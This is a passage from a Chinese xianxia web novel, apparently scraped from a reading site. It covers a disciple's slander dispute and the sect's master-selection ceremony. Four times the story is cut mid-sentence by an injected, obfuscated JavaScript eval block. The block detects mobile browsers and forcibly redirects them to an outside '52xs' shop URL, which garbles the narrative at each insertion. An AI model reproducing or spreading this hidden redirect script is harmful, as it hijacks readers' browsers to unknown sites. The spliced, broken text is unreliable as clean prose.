张涛:“我可是三灵根,笑话四灵根又怎么了?话说,一个四灵根能通过灵音宗的大比也实在蹊跷,喂,这聂小倌该不会是通过作弊进来的吧?” “你少他妈胡说,当心小爷揍你!”许田田实在受不了这帮孙子,冲他们怒目而视。 “吵什么!”朔在上边厉喝出声,“同门弟子理当对师兄弟姐妹互敬友爱,三灵根嘲笑四灵根,五十步笑百步,你也好意思攻讦同门!领罚十手鞭!” 他话落同时,大殿十几道灵光从天而降,宗主和一众真君出现在大殿内。 测灵石的台子已经撤掉,安如风正命人统计各个弟子的灵根情况,见状忙率众人叩拜。 “宗主,诸位长老。” 弟子们齐齐行礼:“见过宗主和诸位长老!” 宗主是个俊眉修目的男子,面目祥和,现身时听到朔的训斥,粲然一笑,“哟,我没听错吧,朔居然在教训人?你往日不是——” 朔见状迅速瞥一眼聂更阑,赶在面前截断话头:“宗主!” “哈哈哈,好,我不说,不说,”宗主仰头大笑,看向聂更阑和张涛,“不过这种风气确实需要整改,还没进宗门就开始恶语中伤同门,有失我灵音宗弟子风范与道骨,手鞭十下的惩戒我准予,嗯,就这么办吧。” 很快,安如风命护法弟子上前把张涛押到众人面前,同时,祭出一根附带冰属性灵力的倒刺消灵鞭。鞭子通体寒芒,望之生畏。 “消灵鞭,以极北之地万年寒冰魂晶制成,鞭之重则元神消亡,轻则灵力消散几日,如今只是十鞭子,下次再犯可就不仅是打在手上 了。” 张涛还未辩解,消灵鞭已经唰地打下来,痛呼声顿时响彻整个大殿。 待到十鞭子抽完,张涛手掌不仅又红又紫,整个双手更是被冻得僵硬犹如死物,经络血脉凝滞,单看手还以为这是一双已经断绝生机多时的尸体。 张涛剧烈喘气,忍痛大声叫道,“弟、弟子不服。” “聂更阑以美色勾搭朔师兄,师兄这才处处维护聂更阑!弟子平日在房里亦是这么与聂更阑开玩笑,没成想朔师兄竟然当众污蔑弟子!” 宗主扬起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13631767|143581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉毛,视线扫向聂更阑那张疤痕狰狞的脸,唔,似乎没了那道疤,这少年容颜确实顶尖。 朔看上这个少年了? “聂更阑,你此前可是与张涛如此说笑的?”宗主问。 聂更阑拱手:“回宗主,张涛在清竹阁到处传播弟子谣言,污蔑弟子名誉,弟子从未与他开过什么玩笑,更未主动搭过话。” 张涛怒目圆睁,“呵呵,你一个人界的小倌,声名狼藉,还用得着我造谣?你若不是狐媚子到处勾搭男人,旁人能无中生有诽谤你么?” “人界,小倌?”宗主重复道。 大殿内,落针可闻。 所有视线都聚集在聂更阑身上。 许田田一脸义愤填膺,正要开口帮腔,聂更阑再次拱手回话:“回禀宗主,弟子确实在人界时是小倌,可弟子一直洁身自好,从未以色侍人……” “口说无凭!”张涛忍着痛大声反驳,“敢做不敢认,怎么,在宗主面前怂了?有胆子勾引男人,没胆子承认?” 聂更阑平心静气,直视前方的元千修,“弟子所言皆是实话。” “你就狡辩吧,若非如此,怎么勾得师兄对你鞍前马后,热情似火??!” 元千修身后的长老们都在交头接耳,看着这场闹剧。 朔怒容满面上前要揪住这混账收拾一顿,宗主一道流光激射而出将人拦在气墙之后,“朔。” 朔被阻拦,目光森然恨不得把张涛上去撕烂。 “朔,你这次出来也是我看在……他的面子上,休要妄生事端。” 朔怒气斐然双目发红,看起来像是要吃人。 张涛哼了一声:“如果不是心虚,何必要动手?” 聂更阑声音不咸不淡,平静地看向张涛:“你确定,我到处用美色勾引男人,让他们为我做事?” “是!” “你觉得我一个脸上有疤痕的人,能勾引他人为我驱使?” “呵呵,我怎么知道你用了什么狐媚子手段,也许你偷偷下了什么灵丹媚药呢!勾栏的小倌下流手段多的是!” 聂更阑轻轻一笑,面容平静得如同暴风雨来临之前的海面,“很好。” 下一刻,只见一道人影冲上前。 众人还未看清发生什么事,就听到张涛传来尖利呼叫。 ——聂更阑已然狠狠踹上张涛的小腿胫骨,紧跟着和他抱摔在地上扭打成了一团。 25. 清鸿剑尊 张涛才受过鞭刑,手根本使不上力气,一个身高体壮的人居然被瘦弱纤细的少年拳打脚踢毫无招架之力。且还是个被人骑的小倌儿! 张涛边闪躲边惨叫,“啊——” “住手,你给我住手!臭兔儿爷,你给我住手!啊!别打了,别打了!” 偏偏聂更阑心火直蹿专门攻他的手,于是殿内不断惨叫连天不绝于耳。 许田田满脸兴奋挥着拳头给同伴鼓劲:“加油,加油!打扁他,让他下不了床!” 四周皆是一片哗然和讶异。 宗主和长老们似是也没想到,当着他们的面居然也有弟子敢动手的。 安如风皱眉,欲上前阻止,却被一道细微的灵力缚住双脚,他一怔,往那头望去。 只见宗主朝他眨了眨眼。 众人看宗主并未阻止,惊异的同时,更是无一人出面阻拦 正当殿内热闹之际,宗主忽然呵呵一笑:“清鸿,来了怎么不现身?” 话毕,殿中一道光芒出现,一道缥缈的青黛色身影出现在殿内。 男人甫一出现,整个大殿的人都感受到了无比强大的威压,尤其是这批新进的弟子,个个被压得抬不起头,更不敢轻易喘气呼吸,心里升腾起一股油然而生的敬畏和恐惧。 清鸿剑尊驾临! 弟子们第一次见到流月大陆传说中那位一剑轻鸿平万象、剑意横扫流月大陆的剑尊,心底的震惊久久抹不平。 而更令人胆颤的是,而正在扭打的聂更阑和张涛居然不受影响,张涛依旧被揍得毫无还手之力,嗷嗷大叫。 为何他们两人没受到清鸿剑尊的威压压制? 宗主见状似乎明白了什么,又是一笑:“清鸿,昨日我告知你今日拜师,原以为你不会出现,没想到这次居然肯给我这个面子,我可真是荣幸啊。” 弟子们此时都惶然下拜:“弟子见过清鸿剑尊!” 清鸿剑尊微微一抬流月纹广袖,唇微张,“起。” 众多弟子瞬间感受到身上的威压散去,浑身立刻轻松自在如常,不由暗暗松了口气。 大乘期大能的威压如斯可怖! 据说清鸿剑尊如今随时能轻轻松松渡劫到大乘期,甚至能升到渡劫期大圆满直至飞升上界。 可他却一直保持在大乘期大圆满的境界,迟迟没有突破渡劫期。 宗主:“清鸿,你今日终于肯过来收徒了?” 清鸿剑尊并未答话,只是循着殿内的声音看向扭打在一起的两个少年。 聂更阑方才早已放开张涛随众人一同向剑尊行了礼。而张涛却起连身都起不来,浑身剧痛难忍,尤其是那双手,被聂更阑特意击打了不知多少下,如今已经高高肿了起来。 宗主:“清鸿,这聂小道友的脾气倒是与你年轻时很像,呵呵,怪不得你没把威压释放到他们身上。” 此话一出,震惊满殿。 什么? 这么说来,方才清鸿剑尊出现时聂更阑还能继续揍张涛,是因为剑尊大人刻意为之? 安如风也微微扬眉。 他还以为又是宗主纵容……没想到居然是剑尊。 “到底何事?”清鸿难得开口,然而声落如鸿雪,如渺远梵音,只简单几字落入众人却不啻于天籁洪钟。 朔早已经迫不及待把方才的事说了,末了还把张涛臭骂一顿,拱手对剑尊道:“还请剑尊定夺,对这个诽谤污蔑同门的弟子做出惩处!” 清鸿剑尊眼眸微微低垂,扫在满目赤红的聂更阑和形容狼狈的张涛身上,淡淡开口:“此子今日已然受罚,此事就此揭过,若日后再犯便交由执事堂或宗主决断。” “哦。”朔丧气地垂下头。 许田田挖了挖耳朵,他没听错吧 ,“剑尊,宗主,您的意思是,聂更阑不用受罚么?” 宗主呵呵笑道:“一切便按照清鸿所言照做!” 安如风开口:“张涛乃三灵根,按规定也是划为外门弟子,既然受了重伤就不必继续观礼,来人,把张涛扶下去休息。” 张涛双手血迹遍布,带着怨恨与羞辱被带走了。 大殿内鸦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13631768|143581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雀无声。 假如在谣言里,朔、许田田等人都是受聂更阑蛊才维护他,而如今清鸿剑尊居然亲自替聂更阑做主,这恐怕传出灵音宗也是一件震惊流月大陆的事儿。 这可是清鸿剑尊,岂能是一介从凡界来的小倌能诱惑得了的? 聂云斟周炎等人相视一眼,纵使有千言万语也不敢在这时再当出头鸟。 宗主笑眯眯看向聂更阑,“聂小道友真是好运气,我已经五百多年未曾看到清鸿替人说话,你今日面子可真大。” 聂更阑扑通一声跪在地砖上,满脸惶然,“谢剑尊替弟子做主,谢宗主明鉴!” 这时,元德长老捋着胡子开口:“宗主,时辰不能耽误,收徒大典是否可以开始了?” 宗主抚掌而笑:“不错不错,是该给你们吸收新血液了,如风——” 安如风便站到面前,朗声开口:“请三灵根及以下的弟子站成三列,双灵根及以上站到另一边。” 许田田看向聂更阑。 “没事,你去吧。” 许田田朝他嗯嗯点头,走向另一拨队伍。 很快,两队之间泾渭分明。 宗主于是宣布收徒大典开始,由执事堂的管事昊天长老开始一一询问单灵根弟子的灵根属性以及自身具体情况。 长老们对新弟子的情况多少有所了解后,宗主道:“诸位,此前我就知会过你们,今年选弟子让清鸿先挑,各位可有异议?” 紫业长老:“剑尊多年未在收徒大典现身,当然是剑尊先收徒,我们每一届都收了不少徒儿,如今玉髓峰也该有弟子住进去了。” 诸位长老纷纷表示赞同。 宗主:“好,既如此,清鸿,请——” 这话一出,所有双灵根以上的弟子都不由开始紧张地咽口水。 若是能被清鸿剑尊看上,这辈子的修仙大道可谓是一片坦途可窥见光明了。且,听说这位剑虽然脾气古怪,但极其护短,若是能得剑尊庇佑,从此不仅能在灵音宗站稳脚跟,甚至可以说在流月大陆名扬四海也不夸张。 26. 熟悉 大殿内气氛静谧而紧张。 试问在场谁不想被清鸿剑尊收入玉髓峰?那可是清鸿剑尊的第一个徒弟,也可能是唯一一个关门弟子,这是何等的尊荣与骄傲。 不过,单灵根以下的弟子都不抱什么希望,清鸿剑尊若要选,也定然是从资质更佳的单灵根或是变异单灵根里挑。 而此刻,清鸿剑尊神色云淡风轻,眸光一一扫过几个单灵根以及变异单灵根弟子。 许田田屏住呼吸,不敢漏过剑尊的一个表情和一个眼神。他是单灵根,或许,他会有那么一丝希望? 而几个见多识广的世家子弟——变异单灵根,此刻也不由被轻鸿剑尊的注视弄得一动也不敢,就这么如同任人采买的灵器丹药一样等待挑选。 其实,抛开灵音宗不说,谁的巅峰梦想不是能拜到清鸿剑尊门下修炼? 如若不然,即便能被剑尊看上一眼也是好的。 此刻清鸿虽撤去了威压,众人也根本看不清剑尊的真面目。只是隐隐约约察觉出,眼前人朗朗似月如仙人之姿,身影萧疏清冷,可望而不可即。 他们家族中也见过不少大能之辈,可从未见过如轻鸿剑尊这般有皎皎之姿的男子。 清鸿视线扫过众弟子面上时,底下的弟子都如许田田那般不敢大声呼吸,唯恐惊扰了天上仙人。 几息后,清鸿在宗主和众真君的殷切期盼目光下,微微摇头。 “这里的弟子与我并无师徒缘分。” 宗主惊讶地大了嘴巴,看起来有些滑稽,“啊?” “清鸿,你确定?要不再看看?这届的弟子资质其实不错。咱们宗门近五百多年没出过优秀的剑修了,总得后继有人不是?你不妨再瞧瞧。” 说着,宗主开始给朔打眼色。 朔急忙开口:“呃,是、是啊,剑尊,这里这么多优秀的弟子,你不妨再看——看?” 朔把最后两个字刻意拉长,视线不停往杂灵根那一拨弟子聂更阑的方向转。 同时心里默念。 快把小美人收入你门下! 快把小美人收入你门下! 快把小美人收入你门下! 朔疯狂地给某人传音。 咻。 清鸿切断耳里那股躁动的呐喊,耳根子清静后,仿佛无事发生一般,“宗主,诸位真君,我意已决。” 君杳然等人不由倒吸一口冷气。 单灵根的弟子都不能入清鸿剑尊的眼,那到底是怎样的人才能得流月大陆第一剑尊的青睐? 众多单灵根的弟子不由暗暗感到失望。 许田田呼出一口气,幸好他没抱多大希望。不过,君杳然和慕容证雪没被看中却是在他的意料之外。 轻鸿剑尊挑亲传弟子的标准,到底是什么呢? 另一边队伍中,聂更阑望着上面如同谪仙般的清鸿剑尊,莫名觉得他身影透着一股熟悉感。 但尚未想明白,他脸上的疤痕已经悄悄升温,紧跟着开始变得滚烫、发痒。 聂更阑以为是自己的错觉,只是以食指挠了挠,并未放在心上。 岂料这疤痕仿佛火山爆发的岩浆一样越发滚烫,倘若这时有人转头,能立刻看见那道疤痕在诡异地蠕动。 “嘶。” 聂更阑忍不住有一次挠了挠那道疤痕。即便如此,仍旧未能缓解这突如其来的泼天痒意。这痒意堆积、叠加,不断爆发,聂更阑只感觉浑身有一股看不见的力量在涌动。 到最后,他浑身一震,力气一松。 “噗!” 一阵清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13631769|143581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晰的五谷轮回之气体在大殿中清晰响起。 宗主正准备再劝说清鸿剑尊,孰料殿内居然临时出了这等小岔子。 众弟子目瞪口呆看向声音源头。 聂更阑四周的弟子忽然开始疯狂往后撤退,摇头:“不是我,不是我!” 最后,只余下少年孤零零一人站在那,被众多灼灼视线钉在了原地。 “噗嗤!”周炎等人忍不住笑出声,四周接连不断传来嘲笑。 上边,清鸿剑尊被这阵动静吸引,无声瞥了过来。 朔急得如同热锅上的蚂蚁,替聂更阑捏了把汗,看到清鸿的视线,朔激动地再次在心里呐喊。 对,就是他,收他为徒!他很好,他很特别,收他为徒吧! 聂更阑从未因这种不雅之事受到瞩目,况且上边还站着他极为仰慕的清鸿剑尊。 少年白皙的面容瞬间红了个透。 而那道突兀的疤痕方才还泛着诡异的红,这会儿却又突然销声匿迹,变成了一道普通的疤痕。 “不……是我。”聂更阑耳根子的温度从未这般滚烫,咬牙从嘴里吐出几个字,气势却十分弱,显得很无力。 宗主一脸和善:“聂小道友,我可要多谢你在这时调节气氛了,无须惶恐,安心便是。” 聂更阑向来神色较沉,可他始终是个少年,此时从耳根到脖子红了一大片,恨不得能找个地缝钻进去,“宗主,真的不是我……” “好啦好啦,你暂且还是凡胎□□,有这种反应实属正常无须自责,可明白?”宗主笑意未减。 聂更阑神色沉沉,实则欲哭无泪。 他真的……真的没有释放那种气体。 方才他只觉得疤痕一阵滚烫,然后,不知怎的就发出了不雅的动静。 27.独孤真君 另一边队伍里,周炎嗤嗤嘲笑:“聂更阑,你该不会是借此吸引剑尊的注意力让剑尊收你为徒?未免也太自大狂了些!” 弟子们这几日听过不少聂更阑的流言,这会儿也都跟着发笑。自从灵音宗剑宗以来,拜师当天能在剑尊、宗主以及诸位真君面前如此出尽洋相的,除了聂更阑,也真是空前绝后了。 眼看殿内起了一阵骚动,安如风一个肃穆的眼神扫过去,周炎及众人瞬间低头噤声。 清鸿剑尊目光淡淡掠过人群中那个耳根红得发亮的少年,再微微偏头,视线对上朔的目光。 仿佛在说,这就是你所说的心悦之人? 朔这会儿眼珠子在疯狂乱转,见这人装死不理会自己的眼色,手在宽大的袖袍下悄悄祭出一张传音符,透明传音符悄无声息一路爬到清鸿剑尊脊背,直至耳旁。 “聂师弟平时不这样,他平时不这样!方才一定是出了什么意外,我猜是太紧张了!你赶紧收他做徒弟!” 清鸿剑尊神色淡然,指尖一掸传音符化为粉末消失,正欲开口。倏然,他似是从空气中嗅到什么不寻常气息,眉心微蹙很快又恢复平静,从容不迫道:“宗主,诸位真君,清鸿先行告辞。” 宗主大为意外:“清鸿,你这就要走了?真不收徒,也不继续观礼了?” 没有回音。 清鸿剑尊微微颔首,面无表情化作流光消失在大殿内。然而他蹙眉的细微表情却被宗主看在了眼里。 宗主已经有千百年未曾在清鸿脸上看到过这种表情,不由暗暗嘀咕:“看他这副模样,估计是……” 心思未落,就听得大殿外响起一道略微嘶哑的声音。 “宗主,我来迟了。” 待宗主以及诸位长老看清来人时,俱是一怔。 “独孤,你也来了?” 怪不得……方才清鸿剑尊如避蛇蝎一般匆忙离去,原来是提前察觉到了独孤的灵力波动。 独孤真君一身玄袍步入殿内,施施然拱手向宗主行礼,“宗主,难得我休养多日恢复了一些,今日收徒大典我特意前来观礼,你们不欢迎?” 宗主立即摆手,“哪里哪里,我们只是感到意外罢了,你愿意走出天境峰我不知道多开心。” 他面上这么说,心里却在腹诽,我就不信,你今日不知道清鸿也在此处! 紫业真君:“既然来了就与我们一道观礼吧,说不定还能收个符合眼缘的徒弟回天境峰。” 元千修:“独孤啊,你可有精力收徒?别身体还没养好倒把自己累着了。” 独孤真君:“若碰上有缘之人,我定当竭尽全力,宗主无需担忧,我的身体我心里有数。” “难得你想通了愿意放下往事,我自然乐意看到,”宗主呵呵笑道,看向殿内的弟子,“你们可能不清楚,这位独孤真君是乃清鸿剑尊的师兄,此前一直在天境峰休养,他的剑道与清鸿师承一脉,你们今日也算是有造化了。” 殿内顿时又起了一阵骚动,看向独孤真君的目光瞬间炙热无比。 独孤真君是清鸿剑尊的师兄? 也就是说,孤独真君也是归墟太尊的徒弟了!归墟太尊万年前一剑劈开混元仙人留下的混沌秘境,一举震惊了整个流月大陆。 他教出的徒弟,再差也差不到哪去。更何况这还是清鸿剑尊的师兄! 弟子们思及此,内心开始蠢蠢欲动。 若是能被独孤真君收为徒弟,也算是一桩圆满之事。得不到仙人之姿实力卓绝的清鸿剑尊青睐,能得独孤真君另眼相看也算是一种慰藉了。 宗主:“既然独孤好不容易出关,那么你今日也先挑徒弟可好?” 独孤真君略略颔首,丝毫不客气,环视一圈大殿后,发现了站在宗主旁边的朔。 朔一直担心聂更阑,时刻都在关注他。也因此,独孤真君目光也跟着停在了聂更阑身上。 这下不仅弟子们诧异,就连宗主和诸位真君面上都浮现怪异之色。 宗主:“独孤,内门弟子都在另一边,你看——” 人群中,周炎已经叫嚷开了:“孤独真君,这只不过是一个四灵根的外门弟子,资质差不说还德行有亏令人生厌,真君,您可千万不能——” “啊!” 只见一道流光闪过,周炎惊叫出声后被无形的力量攫住狠狠摔在地上。 独孤真君眉眼间闪过一丝戾色,拂袖的动作仿佛是在拂掉一只惹人厌的苍蝇。 宗主板起脸呵斥:“放肆!当着我与众真君的面也敢贬低同门,谁给你的胆子!” 不等独孤再发话,宗主向安如风打了个眼色,后者立即命弟子抬周炎下去疗伤。 人群里,许田田看得一愣一愣的,今日这清鸿剑尊也好,独孤真君也罢,怎么一个个都在替聂更阑出面,不知道的还以为…… 聂更阑则眼观鼻,鼻观心,泰然自若,面对众多视线的打量神情并无异色。 独孤真君:“好了,弟子的话,我看这位——” 他语气一顿,目光停在队列前方的慕容证雪身上,“我看他倒是不错。” 宗主微微一笑:“独孤,你挑弟子的眼光不错,这是慕容家的公子,变异单风灵根,资质上乘,你若愿意倾心教导,此子将来必有所成。” 慕容证雪适时地跪拜下去,神态恭谨:“独孤真君在上,弟子愿拜真君为师,悉听教导,苦修勤学,继承真君剑道意志!” 独孤真君因为长年养病闭关,从方才出现起脸色就泛着苍白,这会儿倒是嘴角扯起一丝弧度,似是笑了笑,“甚好。” 宗主由衷地暗暗松了口气,“恭喜独孤,收了个好徒弟!” 四面八方皆传来诸位真君的道贺声。 慕容证雪是个芝兰玉树的俊美少年,向来是个温润沉稳的性子,如今拜师成功,脸上不免出现笑意。 有了独孤收徒在前,接下来便轮到各个真君。 很快,许田田拜了擅长炼丹的青炎真君为师,君杳然拜入琴修玄芜真君门下,聂云斟则成为紫业的亲传弟子。 所有资质优异的弟子都顺利拜师后,收徒大典才算是顺利结束。 宗主发表了一番类似于激励外门弟子和内门弟子的言论,内门弟子欢天喜地,外门弟子也斗志昂扬振奋不已。 聂更阑和许田田跟随人流出了大殿,离开前,遥遥回望一眼里面,依稀能看到方才的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13651528|143581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 独孤真君似乎正在打量自己。 下一瞬,独孤真君似是在同宗主等人告辞,之后原地化作流光消失。 殿内,紫业真君道:“宗主,您让独孤收徒就不怕……”他微微看向了玉髓峰方向。 元千修长长叹一口气:“假如这件事他们二人各自退一步……” “宗主,你明知道不可能。” “唉,我知道,但独孤也不可能一辈子都待在天境峰,我此举亦是为了试探清鸿,若他没表示,也就说明他尚能忍受,独孤也就……唉,真是造孽。” …… “聂更阑,你在看什么?” 许田田龇牙咧嘴乐呵着回忆方才拜师的高光时刻,回头一看,忍不住向身旁的人发问。 聂更阑:“没什么,我可能看错了,走吧。” 许田田忙不迭点头,“没想到今日能亲眼看到清鸿剑尊本尊,即便是他没收徒,我也知足了!方才他匆忙消失,我还觉得这是不是一场梦呢,有些不太真实。” 两人边说边离开妙音主峰,回到了清竹阁。 四周都是繁忙的身影,内门弟子都在忙着收拾东西,今日便要去往璇玑峰,那里不仅有演武场,亦是内门弟子所在的宿阁。 而若是真君的亲传弟子,便跟着入住真君所在的峰头。 许田田兴高采烈向聂更阑展示了青炎真君交予他的玉符,“药峰有青炎真君额外设置的法阵,需要真君制作的玉符才能进出。” 聂更阑提醒他:“你现在该改口称他为师尊了。” “啊,是是,”许田田挠挠头,“嘿嘿,一时还没适应过来。” 两人沉默几息,许田田又接着道:“我马上就要搬去药峰了,你一个人在这……” “没事,修仙大道一途只有短暂的陪伴,是人就总有分离的那天。”聂更阑直言。 “没想到你倒是看得很开,”许田田讪讪笑了两声。 气氛安静下来后,两人面面相觑几息,聂更阑终于开口:“真人不露相,恭喜你啊,木单灵根!” 许田田不欲表现得太高兴以免惹他伤心,麻溜转移话题:“对了聂道友,不是我揭短啊,我就是单纯好奇,方才……清鸿剑尊在时,你是不是太紧张所以才失仪了?” “我就是单纯好奇,我发誓!”许田田对天竖起三根手指。 这家伙哪壶不开提哪壶。 聂更阑耳根迅速浮上一层淡淡的红,往日阴沉的语调此时居然覆上一层软绵,仿佛在做无力的辩解,“若我说,那不是我发出的动静,你信么?” 许田田认真地盯着他看了半晌,嗤嗤笑出声,“你知不知道,你现在脸红着呢!你说我信不信?” “我还是第一次看你脸红!解释就是掩饰,咱们都这么熟了你就别骗我了吧,我不会向真君他们透露的!” “……” 聂更阑算是知晓,今日在浩气殿他发生的糗事也许要被长久烙印在众人记忆了。 不过,当时他面红脸热无暇顾及,有一处地方却是被忽略了的,如今想起来实在有些匪夷所思——他怀疑,那道失仪的动静是脸上的疤痕作怪发出的。 可是,怎么可能呢? 28.珍珠鸡 * 许田田正式搬去药峰,离开之前,三步一回头对聂更阑挥手,最后坐上接他的飞鹤。 “若是有人欺负你,一定要到药峰找我!” 聂更阑点点头,朝他用力挥手,表示听到了。 很快,仙鹤越飞越远,终于在空中变成一个点。 聂更阑久久站在原地,然后垂下仰酸的脖子默默往院子走,却被一道清脆的声音叫住。 “聂道友。” 聂更阑回头,发现来人是许盼娣,略微有些愕然。 许盼娣是双灵根,果真应了之前道士的推测,她极有修仙资质。 许盼娣落落大方绽开一个笑容:“我就要搬去璇玑峰了,离开之前还是想与聂道友说一声,真的很感激你之前在广场前对我出手相救。” 聂更阑:“那只是一个幻境,许道友,即便没有我你也能不受许刚干扰参加弟子大选。恭喜你成为内门弟子,许道友。” “谢谢。” 许盼娣冲聂更阑扬眉,“聂道友,到时上课我们再见,我先走了。” 少女微微颔首,转身离开。 聂更阑回到清竹阁,思索着接下来要上的课。外门弟子在一年内须得与外门弟子共同上课,补足一些基础必备知识,除此之外,外门弟子的修炼资源比之差的不是一星半点。 如今玉符已经下发,他已经可以自由出入藏书阁。看来外门弟子修炼还是得靠个人修行。 翌日,聂更阑就跟着其余外门弟子搬到了清竹阁旁边的拓音阁,聂更阑被分配到了一处六人居住的厢房,比之前二十多人大通铺条件好了不少。 由于睡过大通铺,这届外门弟子多少都认识,聂更阑来到厢房外时就听到里头的欢声笑语,一进去才发现有脸熟的弟子。 张琥珀和魏禧看到聂更阑进来极其尴尬,尤其是魏禧,像是翻了个白眼,却又不敢表现得过于明显。 魏禧语往最里的角落一指,语气很生硬,“只剩一个位置了,你睡那儿吧。” 聂更阑对他们二人颔首,来到最里的铺位,刚坐下,张琥珀就带着魏禧磨磨蹭蹭地过来,“聂、聂道友,之前我和魏禧都是听信传言才对你……不过你放心,我们现在都不信那些了,以后我们愉快相处好不好?” 聂更阑心思明朗,略略思索便明白,许田田如今成为青炎真君的亲传弟子,而他又与许田田走得近,张琥珀魏禧讨好他也属于正常。 聂更阑并不在意,少两个敌对者对他来说没有坏处。 但两天后,就有找事的上门了。张涛被几个弟子搀扶着找到他们厢房外头大呼小叫。 “姓聂的婊子,你给我记着,老子日后绝不会让你好过,走着瞧!” 张涛那日被消灵鞭惩罚手掌,到如今掌心还红肿未消,水一丁点碰不得,又痒又疼,难忍不堪。 张琥珀原本在旁边儿看戏,一个猛子记起什么,立刻上前维护:“张涛,你胡乱辱骂同门,信不信我们明日就去执事堂告状,呵呵,都不用执事堂,我们告诉许道友,青炎真君必定为聂道友撑腰!” 张涛伤未痊愈气势弱,听到这话恶狠狠瞪一眼聂更阑,随后逃之夭夭。 张琥珀转过身:“聂道友别生气,你甭听他的,就当他是个——” “我没在意。”聂更阑声音沉沉,只是眼中的晦暗怎么也无法消解,“不必管他。” 聂更阑率先进屋了。 张琥珀和魏禧以及同屋的三个同门面面相觑。 “分明就很在意,脸都黑成那样了。”魏禧咕哝道。 张琥珀用手肘撞他示意他闭嘴,几个人随后也进了屋子。 * 翌日,新弟子上课第一天。 辰时刚至,拓音阁的弟子在梦中就隐隐约约听到一阵悠扬清脆的笛声。 起初众人不在意,直到后来,那阵笛声忽而转为高亢嘹亮的鸟鸣。 “懒虫,臭虫,起床!该上学了!再不起床本鸟把你们扔到红晶树那里挨揍!” “懒虫,臭虫,起床,起床,起床——” 这声音叫了几遍后,有不少弟子被惊醒,须臾,几十个枕头陆陆续续从房里砸出来。 那高亢的叫声越发来劲了:“放肆,你们敢砸本鸟!臭虫,起床,起床,起床啦!” 简直如同魔音缭绕,惹人烦躁。 聂更阑早被外面的动静惊醒,在房里众人在被窝里赖着时,他已经迅速起身穿好新发下的弟子服,去外面打了水梳洗。 院子里尖利的叫声还在,已经有不少睡眼惺忪的弟子被迫出门观看到底是何方神圣在扰人清梦。 打眼一瞧,拓音阁墙外边的树上直挺挺站着一只银蓝色大鸟,体型堪比野猪,正翘着鸟喙吱哇乱叫制造噪音。 睡眼惺忪的弟子们对着这头猪指指点点,“怎么回事,也没通知是一只鸟喊我们起床啊,一大早吵死了,吓得我以为发生什么大事呢!” “之前每日不是有钟声嘛,我听一位师姐说钟声就是起床时间,怎么这会儿是一只猪……不是,一只鸟……” 枝头的大鸟听到了,愤怒地绷紧浑身羽毛,圆滚滚的肚子一抖一抖,肉也跟着颤动,“我才不是猪!无知小儿,本鸟要把你叼去给红晶树作伴,受死吧!” 说着,竟真的扑扇起两只大翅膀直奔那名弟子而来。 弟子们惊慌大叫作鸟兽散,再困也瞬间吓得清醒了。 大鸟失去目标,转头看到独自站在另一边廊下的聂更阑,眨眨那双豆豆眼,响亮地打了个鸣蹄,“丑八怪,你怎么脸上有这么一道红得发亮的疤?就你了!” 聂更阑未来得及躲闪,已经被巨大的鸟嘴叼起飞出了拓音阁。 院子里各个房间乱成了一锅粥。 “来人!大鸟把人叼走了!大鸟把人叼走啦!” …… 聂更阑被银蓝大鸟叼着出了拓音阁,飞出妙音峰的右峰,向着山门下方的湖泊而去。 他一动也没动。 主要是怕摔下去受了伤,到时耽误了上课。 “鸟兄,你先送我回去,有事好商量。”聂更阑被冷空气吹得睁不开眼,只能高声和大鸟打商量。 大鸟扑棱翅膀振振有词:“我答应了红晶树必须带你过去,否则本鸟还如何有颜面在灵音宗存活!” 聂更阑干脆不出声了。 直到大鸟把他一路带到山腰下方的一处澄澈的湖泊,聂更阑这才记起,这里是弟子大选第二轮比试他们乘坐仙鹤搜集红晶叶的地方。 红晶树大老远看到银蓝鸟把人带过来,满树枝条张狂地抽动,“哈哈哈,好鸟,亏我没白白信任你,快把这小子给我——” 聂更阑一惊,腰迅速被十几道枝条缠上腰身,紧跟着传来红晶树的吼声。 “死鸟你耍我呢!送来这么个脸上有丑疤的玩意儿!” 